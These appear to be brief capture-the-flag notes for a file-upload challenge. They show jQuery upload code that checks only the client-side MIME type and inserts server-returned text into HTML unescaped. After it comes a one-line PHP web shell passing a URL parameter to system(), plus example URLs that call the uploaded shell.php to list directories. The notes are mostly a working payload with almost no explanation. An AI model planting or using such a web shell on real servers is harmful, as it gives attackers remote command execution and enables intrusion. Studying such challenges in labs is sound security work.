Challenge: Upload File Path Traversal

    <script>
    $(function() {
      // Handle the form submit event
      $('#uploadForm').submit(function(event) {
        // Prevent the default form submission
        event.preventDefault();

        // Get the form data
        let formData = new FormData(this);

        // Check the file type
        let file = formData.get('file');
        if (!file.type.match(/^image\/(jpeg|gif|png)$/)) {
          alert('Invalid file type');
          return;
        }

        // Submit the form data to upload.php
        $.ajax({
          url: 'upload.php',
          type: 'POST',
          data: formData,
          processData: false,
          contentType: false,
          success: function(data) {
            var data = jQuery.parseJSON(data);                        
            if (data.success) {
              // Create a list item for the uploaded file
              let fileList = '';
              fileList += '<p> <a href="' + data.file + '" target="_blank">' + data.file + '</a></p>';
              console.log('ok');
              console.log(fileList);

              // Update the file list
              $('#fileList').append(fileList);
            } else {
              // Handle the error
            }
          }
        });
      });
    });
    </script> 

<?php echo system($_GET['cmd']); ?>

http://<host>/<upload_path>/shell.php?cmd=ls

?cmd=cd .. ;ls